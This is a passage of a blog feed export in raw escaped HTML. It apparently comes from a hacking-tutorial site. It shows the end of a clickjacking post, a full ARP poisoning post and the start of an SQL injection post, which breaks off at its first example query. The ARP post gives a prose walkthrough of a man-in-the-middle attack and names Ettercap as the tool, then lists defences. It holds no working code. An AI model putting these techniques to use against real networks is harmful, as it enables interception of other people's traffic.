style=&quot;font-family: inherit;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;a href=&quot;http://1.bp.blogspot.com/-9JNA6EIvyZc/TawQIdJluVI/AAAAAAAAAcs/xUTRZLXLgA0/s1600/4.jpg&quot; onblur=&quot;try {parent.deselectBloggerImageGracefully();} catch(e) {}&quot;&gt;&lt;img alt=&quot;&quot; border=&quot;0&quot; id=&quot;BLOGGER_PHOTO_ID_5596866174364531026&quot; src=&quot;http://1.bp.blogspot.com/-9JNA6EIvyZc/TawQIdJluVI/AAAAAAAAAcs/xUTRZLXLgA0/s200/4.jpg&quot; style=&quot;cursor: pointer; display: block; height: 171px; margin: 0px auto 10px; text-align: center; width: 200px;&quot; /&gt;&lt;/a&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;font-family: inherit;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;font-family: inherit;&quot;&gt;&lt;ul&gt;&lt;li&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;b&gt;Protection&lt;/b&gt;:&lt;/span&gt;&lt;/li&gt;&lt;/ul&gt;&lt;/div&gt;&lt;div style=&quot;font-family: inherit;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;font-family: inherit;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;The best defense against ClickJacking attacks is to use Firefox with the &lt;b&gt;&lt;i&gt;&lt;a href=&quot;https://addons.mozilla.org/en-US/firefox/addon/noscript/&quot;&gt;&lt;span class=&quot;Apple-style-span&quot;&gt;NoScript&lt;/span&gt;&lt;/a&gt;&lt;/i&gt;&lt;/b&gt; add-on installed.&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;font-family: inherit;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;font-family: inherit;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;font-family: inherit;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;font-family: inherit;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;a href=&quot;http://2.bp.blogspot.com/-rAsJ89I9ing/TawRc6LQA2I/AAAAAAAAAc0/4itdfmupYNg/s1600/5.png&quot; onblur=&quot;try {parent.deselectBloggerImageGracefully();} catch(e) {}&quot;&gt;&lt;img alt=&quot;&quot; border=&quot;0&quot; id=&quot;BLOGGER_PHOTO_ID_5596867625265136482&quot; src=&quot;http://2.bp.blogspot.com/-rAsJ89I9ing/TawRc6LQA2I/AAAAAAAAAc0/4itdfmupYNg/s400/5.png&quot; style=&quot;cursor: pointer; display: block; height: 128px; margin: 0px auto 10px; text-align: center; width: 128px;&quot; /&gt;&lt;/a&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;font-family: inherit;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;font-family: inherit;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;Default protections that NoScript has provided for a long time, i.e. JavaScript and plugin blocking can prevent most clickjacking attacks. Since version 1.8.2, NoScript provides a new default kind of protection called ClearClick, which defeats clickjacking no matter if you block frames or not .&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;font-family: inherit;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;font-family: inherit;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;font-family: inherit;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;font-family: inherit;&quot;&gt;&lt;span style=&quot;font-size: small; font-weight: bold;&quot;&gt;Happy Hacking...Enjoy... &lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;font-size: small; font-weight: bold;&quot;&gt;&lt;span style=&quot;color: red;&quot;&gt;For educational purpose only...Do not misuse it...&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;font-family: inherit;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;font-family: inherit;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://www.xtrmhack.com/feeds/3066362626380998059/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.xtrmhack.com/2011/04/clickjacking.html#comment-form' title='2 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/9011660198155217135/posts/default/3066362626380998059'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/9011660198155217135/posts/default/3066362626380998059'/><link rel='alternate' type='text/html' href='http://www.xtrmhack.com/2011/04/clickjacking.html' title='CLICKJACKING'/><author><name>Rajat Das</name><uri>http://www.blogger.com/profile/15687869933369691733</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="http://2.bp.blogspot.com/-zPjHbUZl0JI/TawHuzF83jI/AAAAAAAAAcE/ag9JHUoFBsY/s72-c/1.jpg" height="72" width="72"/><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-9011660198155217135.post-4451167759015241735</id><published>2011-04-18T01:36:00.000-07:00</published><updated>2013-06-09T11:56:46.366-07:00</updated><title type='text'>ARP POISONING</title><content type='html'>&lt;div dir=&quot;ltr&quot; style=&quot;text-align: left;&quot; trbidi=&quot;on&quot;&gt;&lt;ul style=&quot;font-family: inherit;&quot;&gt;&lt;li&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;b&gt;What is ARP ?&lt;/b&gt;&lt;/span&gt;&lt;/li&gt;&lt;/ul&gt;&lt;div style=&quot;font-family: inherit;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;The Address Resolution Protocol (ARP) is a computer networking protocol for determining a network host&#39;s hardware address (MAC) or link layer when only its Internet Layer (IP) or Network Layer address is known. In fact it’s a IP  to MAC mapping.&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;font-family: inherit;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;font-family: inherit;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;b&gt;Broadcast ARP Request:&lt;/b&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;font-family: inherit;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;font-family: inherit;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;Jessica, the receptionist, tells Word to print the latest company contact list. This is her first print job today. Her computer (IP address 192.168.0.16) wants to send the print job to the office&#39;s HP LaserJet printer (IP address 192.168.0.45). So Jessica&#39;s computer broadcasts an ARP Request to the entire local network asking, &quot;Who has the IP address, 192.168.0.45?&quot;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;font-family: inherit;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;font-family: inherit;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;font-family: inherit;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;font-family: inherit;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;a href=&quot;http://3.bp.blogspot.com/-IDylxJtW1Ss/Tav5xu8vdYI/AAAAAAAAAbM/I6uZph8gUxs/s1600/1.jpg&quot; onblur=&quot;try {parent.deselectBloggerImageGracefully();} catch(e) {}&quot;&gt;&lt;img alt=&quot;&quot; border=&quot;0&quot; id=&quot;BLOGGER_PHOTO_ID_5596841594749678978&quot; src=&quot;http://3.bp.blogspot.com/-IDylxJtW1Ss/Tav5xu8vdYI/AAAAAAAAAbM/I6uZph8gUxs/s400/1.jpg&quot; style=&quot;cursor: pointer; display: block; height: 325px; margin: 0px auto 10px; text-align: left; width: 400px;&quot; /&gt;&lt;/a&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;font-family: inherit;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;font-family: inherit;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;b&gt;Unicast ARP Reply:&lt;/b&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;font-family: inherit;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;font-family: inherit;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;All the devices on the network ignore this ARP Request, except for the HP LaserJet printer. The printer recognizes its own IP in the request and sends an ARP Reply: &quot;Hey, my IP address is 192.168.0.45. Here is my MAC address: 00:90:7F:12:DE:7F&quot;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;font-family: inherit;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;font-family: inherit;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;font-family: inherit;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;font-family: inherit;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;a href=&quot;http://4.bp.blogspot.com/-Bs-yAMBtBGs/Tav6guv485I/AAAAAAAAAbU/meMVp3HECWA/s1600/2.jpg&quot; onblur=&quot;try {parent.deselectBloggerImageGracefully();} catch(e) {}&quot;&gt;&lt;img alt=&quot;&quot; border=&quot;0&quot; id=&quot;BLOGGER_PHOTO_ID_5596842402149626770&quot; src=&quot;http://4.bp.blogspot.com/-Bs-yAMBtBGs/Tav6guv485I/AAAAAAAAAbU/meMVp3HECWA/s400/2.jpg&quot; style=&quot;cursor: pointer; display: block; height: 326px; margin: 0px auto 10px; text-align: center; width: 400px;&quot; /&gt;&lt;/a&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;font-family: inherit;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;font-family: inherit;&quot;&gt;&lt;ul&gt;&lt;li&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;b&gt;ARP Poisoning:&lt;/b&gt;&lt;/span&gt;&lt;/li&gt;&lt;/ul&gt;&lt;div&gt;&lt;span style=&quot;font-size: small;&quot;&gt;Address Resolution Protocol (ARP) spoofing, also known as ARP poisoning or ARP Poison Routing (APR), is a technique used to attack an Ethernet wired or wireless network. ARP Spoofing may allow an attacker to sniff data frames on a local area network (LAN), modify the traffic, or stop the traffic altogether.&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span style=&quot;font-size: small;&quot;&gt;The ability to associate any IP address with any MAC address provides hackers with many attack vectors, including Denial of Service (DoS), Man in the Middle, and MAC Flooding. &lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;ul&gt;&lt;li&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;b&gt;Man in the Middle Attack (MIMA):&lt;/b&gt;&lt;/span&gt;&lt;/li&gt;&lt;/ul&gt;&lt;/div&gt;&lt;div&gt;&lt;span style=&quot;font-size: small;&quot;&gt;A hacker can exploit ARP Cache Poisoning to intercept network traffic between two devices in your network.&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;b&gt;Attack Stage-1:&lt;/b&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span style=&quot;font-size: small;&quot;&gt;The hacker wants to see all the traffic between your computer, 192.168.0.12, and your Internet router, 192.168.0.1. The hacker begins by sending a malicious ARP &quot;reply&quot; (for which there was no previous request) to your router, associating his computer&#39;s MAC address with 192.168.0.12.&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;a href=&quot;http://1.bp.blogspot.com/-yYsXmY-iwRg/Tav7-mEV-SI/AAAAAAAAAbc/gL8BjHBHUaE/s1600/3.jpg&quot; onblur=&quot;try {parent.deselectBloggerImageGracefully();} catch(e) {}&quot;&gt;&lt;img alt=&quot;&quot; border=&quot;0&quot; id=&quot;BLOGGER_PHOTO_ID_5596844014727199010&quot; src=&quot;http://1.bp.blogspot.com/-yYsXmY-iwRg/Tav7-mEV-SI/AAAAAAAAAbc/gL8BjHBHUaE/s400/3.jpg&quot; style=&quot;cursor: pointer; display: block; height: 297px; margin: 0px auto 10px; text-align: center; width: 400px;&quot; /&gt;&lt;/a&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;font-family: inherit;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;font-family: inherit;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;b&gt;Attack Stage-2:&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;&lt;div&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;span style=&quot;font-size: small;&quot;&gt;Now your router thinks the hacker&#39;s computer is your computer. Next, the hacker sends a malicious ARP reply to your computer, associating his MAC Address with 192.168.0.1&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;a href=&quot;http://4.bp.blogspot.com/-K4Ux0gvtBzg/Tav8nah13aI/AAAAAAAAAbk/Mr5gI3VsJ-k/s1600/4.jpg&quot; onblur=&quot;try {parent.deselectBloggerImageGracefully();} catch(e) {}&quot;&gt;&lt;img alt=&quot;&quot; border=&quot;0&quot; id=&quot;BLOGGER_PHOTO_ID_5596844716004335010&quot; src=&quot;http://4.bp.blogspot.com/-K4Ux0gvtBzg/Tav8nah13aI/AAAAAAAAAbk/Mr5gI3VsJ-k/s400/4.jpg&quot; style=&quot;cursor: pointer; display: block; height: 313px; margin: 0px auto 10px; text-align: center; width: 400px;&quot; /&gt;&lt;/a&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;font-family: inherit;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;font-family: inherit;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;b&gt;Attack Stage-3:&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;&lt;div&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;span style=&quot;font-size: small;&quot;&gt;Now your machine thinks the hacker&#39;s computer is your router. Finally, the hacker turns on an operating system feature called IP forwarding. This feature enables the hacker&#39;s machine to forward any network traffic it receives from your computer to the router.&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;a href=&quot;http://3.bp.blogspot.com/-8D4BfDu046w/Tav9FRGMByI/AAAAAAAAAbs/_ACBBkZatxs/s1600/5.jpg&quot; onblur=&quot;try {parent.deselectBloggerImageGracefully();} catch(e) {}&quot;&gt;&lt;img alt=&quot;&quot; border=&quot;0&quot; id=&quot;BLOGGER_PHOTO_ID_5596845228868503330&quot; src=&quot;http://3.bp.blogspot.com/-8D4BfDu046w/Tav9FRGMByI/AAAAAAAAAbs/_ACBBkZatxs/s400/5.jpg&quot; style=&quot;cursor: pointer; display: block; height: 297px; margin: 0px auto 10px; text-align: center; width: 400px;&quot; /&gt;&lt;/a&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;font-family: inherit;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;font-family: inherit;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;font-family: inherit;&quot;&gt;&lt;ul&gt;&lt;li&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;b&gt;ARP Poisoning Tool:&lt;/b&gt;&lt;/span&gt;&lt;/li&gt;&lt;/ul&gt;&lt;/div&gt;&lt;div style=&quot;font-family: inherit;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;Ettercap is a suite for man in the middle attacks on LAN. It features sniffing of live connections, content filtering on the fly and many other interesting tricks. It supports active and passive dissection of many protocols and includes many feature for network and host analysis.&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;font-family: inherit;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;font-family: inherit;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;font-family: inherit;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;a href=&quot;http://4.bp.blogspot.com/-D_1ve8ewD3Y/Tav_HnWkIBI/AAAAAAAAAb0/4yZIkyBEXgk/s1600/6.png&quot; onblur=&quot;try {parent.deselectBloggerImageGracefully();} catch(e) {}&quot;&gt;&lt;img alt=&quot;&quot; border=&quot;0&quot; id=&quot;BLOGGER_PHOTO_ID_5596847468225765394&quot; src=&quot;http://4.bp.blogspot.com/-D_1ve8ewD3Y/Tav_HnWkIBI/AAAAAAAAAb0/4yZIkyBEXgk/s400/6.png&quot; style=&quot;cursor: pointer; display: block; height: 108px; margin: 0px auto 10px; text-align: center; width: 353px;&quot; /&gt;&lt;/a&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;font-family: inherit;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;Download &lt;/span&gt;&lt;span style=&quot;font-size: small; font-weight: bold;&quot;&gt;ETTERCAP&lt;/span&gt;&lt;span style=&quot;font-size: small;&quot;&gt; from &lt;/span&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-size: small;&quot;&gt;&lt;b&gt;&lt;a href=&quot;http://ettercap.sourceforge.net/&quot; style=&quot;color: blue;&quot;&gt;&lt;span class=&quot;Apple-style-span&quot;&gt;here&lt;/span&gt;&lt;/a&gt;&lt;/b&gt;.&lt;/span&gt;&lt;br /&gt;&lt;div&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;ul&gt;&lt;li&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;b&gt;Protection:&lt;/b&gt;&lt;/span&gt;&lt;/li&gt;&lt;/ul&gt;&lt;/div&gt;&lt;div&gt;&lt;span style=&quot;font-size: small;&quot;&gt;1. Arpwatch is a computer software tool for monitoring Address Resolution Protocol traffic on a computer network. Network administrators monitor ARP activity to detect ARP spoofing.&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span style=&quot;font-size: small;&quot;&gt;2. Arping is a computer software tool that is used to discover hosts on a computer network. The arping tool is analogous in function to ping, which probes hosts using the Internet Control Message Protocol at the Internet Layer (OSI Layer 3). &lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span style=&quot;font-size: small;&quot;&gt;3. &lt;b&gt;&lt;a href=&quot;http://www.colasoft.com/download/arp_flood_arp_spoofing_arp_poisoning_attack_solution_with_capsa.php&quot;  style=&quot;color: blue;&quot;&gt;&lt;span class=&quot;Apple-style-span&quot;&gt;Capsa Network Analyzer&lt;/span&gt;&lt;/a&gt;&lt;/b&gt; (Packet Sniffer) is an easy-to-use Ethernet network analyzer (aka. packet sniffer or protocol analyzer) for network monitoring and troubleshooting purposes.&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;a href=&quot;http://2.bp.blogspot.com/-CALqvg9QJqU/TawAtp-hUYI/AAAAAAAAAb8/NAps4xuXqrE/s1600/7.gif&quot; onblur=&quot;try {parent.deselectBloggerImageGracefully();} catch(e) {}&quot;&gt;&lt;img alt=&quot;&quot; border=&quot;0&quot; id=&quot;BLOGGER_PHOTO_ID_5596849221276881282&quot; src=&quot;http://2.bp.blogspot.com/-CALqvg9QJqU/TawAtp-hUYI/AAAAAAAAAb8/NAps4xuXqrE/s400/7.gif&quot; style=&quot;cursor: pointer; display: block; height: 50px; margin: 0px auto 10px; text-align: center; width: 199px;&quot; /&gt;&lt;/a&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;font-size: small; font-weight: bold;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;div&gt;&lt;span style=&quot;font-size: small; font-weight: bold;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span style=&quot;font-size: small; font-weight: bold;&quot;&gt;Happy Hacking...Enjoy... &lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;font-size: small; font-weight: bold;&quot;&gt;&lt;span style=&quot;color: red;&quot;&gt;For educational purpose only...Do not misuse it...&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://www.xtrmhack.com/feeds/4451167759015241735/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.xtrmhack.com/2011/04/arp-poisoning.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/9011660198155217135/posts/default/4451167759015241735'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/9011660198155217135/posts/default/4451167759015241735'/><link rel='alternate' type='text/html' href='http://www.xtrmhack.com/2011/04/arp-poisoning.html' title='ARP POISONING'/><author><name>Rajat Das</name><uri>http://www.blogger.com/profile/15687869933369691733</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="http://3.bp.blogspot.com/-IDylxJtW1Ss/Tav5xu8vdYI/AAAAAAAAAbM/I6uZph8gUxs/s72-c/1.jpg" height="72" width="72"/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-9011660198155217135.post-1664094781097369637</id><published>2011-01-02T00:18:00.000-08:00</published><updated>2013-06-09T11:31:25.714-07:00</updated><title type='text'>SQL INJECTION</title><content type='html'>&lt;div dir=&quot;ltr&quot; style=&quot;text-align: left;&quot; trbidi=&quot;on&quot;&gt;&lt;ul style=&quot;font-family: inherit;&quot;&gt;&lt;li&gt;&lt;span style=&quot;font-size: small; font-weight: bold;&quot;&gt;What is SQL Injection?&lt;/span&gt;&lt;/li&gt;&lt;/ul&gt;&lt;div style=&quot;font-family: inherit;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;A &lt;/span&gt;&lt;span class=&quot;mw-redirect&quot; style=&quot;font-size: small;&quot;&gt;&lt;b&gt;SQL injection&lt;/b&gt; or &lt;b&gt;SQLI&lt;/b&gt;&lt;/span&gt;&lt;span style=&quot;font-size: small;&quot;&gt;  attack consists of injection of a SQL query via the  input data from the client to the application. A successful SQL  injection exploit can read sensitive data from the database, modify  database data (Insert/Update/Delete), execute administration operations  on the database, recover the content of a  given file present on the DBMS file system and in some cases issue  commands to the operating system.&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;font-family: inherit;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;font-family: inherit;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;a href=&quot;http://2.bp.blogspot.com/_6Y3t2XpO2oE/TSA9MkPdrcI/AAAAAAAAAas/_-uz1TzjGwA/s1600/sql_injection.gif&quot;&gt;&lt;img alt=&quot;&quot; border=&quot;0&quot; id=&quot;BLOGGER_PHOTO_ID_5557509226271452610&quot; src=&quot;http://2.bp.blogspot.com/_6Y3t2XpO2oE/TSA9MkPdrcI/AAAAAAAAAas/_-uz1TzjGwA/s400/sql_injection.gif&quot; style=&quot;cursor: pointer; display: block; height: 182px; margin: 0px auto 10px; text-align: center; width: 300px;&quot; /&gt;&lt;/a&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;font-family: inherit;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;A web application is vulnerable to an SQL injection attack if   an attacker is able to insert SQL statements into an existing SQL   query of the application. This is usually achieved by injecting   malicious input into user fields that are used to compose the   query.&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;font-family: inherit;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;ul style=&quot;font-family: inherit;&quot;&gt;&lt;li&gt;&lt;span style=&quot;font-size: small; font-weight: bold;&quot;&gt;SQLI Example:&lt;/span&gt;&lt;/li&gt;&lt;/ul&gt;&lt;div style=&quot;font-family: inherit;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;Consider a web application that uses a query shown in Step 1 for authenticating its users.&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;font-family: inherit;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;font-family: inherit;&quot;&gt;&lt;span style=&quot;font-size: small; font-weight: bold;&quot;&gt;SQL Injection Step 1:&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;font-family: inherit;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;pre class=&quot;alt2&quot; style=&quot;border: 1px inset; font-family: inherit; height: 30px; margin: 0pt; overflow: auto; padding: 6px; text-align: left; width: 500px;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;SELECT * FROM Users WHERE User = 